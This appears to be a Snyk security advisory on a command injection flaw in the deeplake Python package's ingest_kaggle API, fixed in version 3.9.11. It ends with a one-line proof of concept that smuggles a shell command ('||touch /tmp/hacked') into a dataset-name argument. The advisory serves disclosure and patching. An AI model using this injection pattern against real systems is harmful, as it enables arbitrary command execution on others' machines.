Improper Command Injection Affecting deeplake package, versions [,3.9.11)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-DEEPLAKE-7430279
- published 8 Jul 2024
- disclosed 4 Jul 2024
- credit Natan Nehorai
How to fix?
Upgrade deeplake
to version 3.9.11 or higher.
Overview
deeplake is an Activeloop Deep Lake
Affected versions of this package are vulnerable to Improper Command Injection due to a lack of input sanitization in the ingest_kaggle
API. An attacker can execute arbitrary commands by sending specially crafted inputs to the API.
PoC
import deeplake
deeplake.ingest_kaggle('some/text||touch /tmp/hacked','/tmp/somepath','./tmp/somepath2',kagg
le_credentials={"username":"mister","key":"john","password":"doe"},overwrite=True)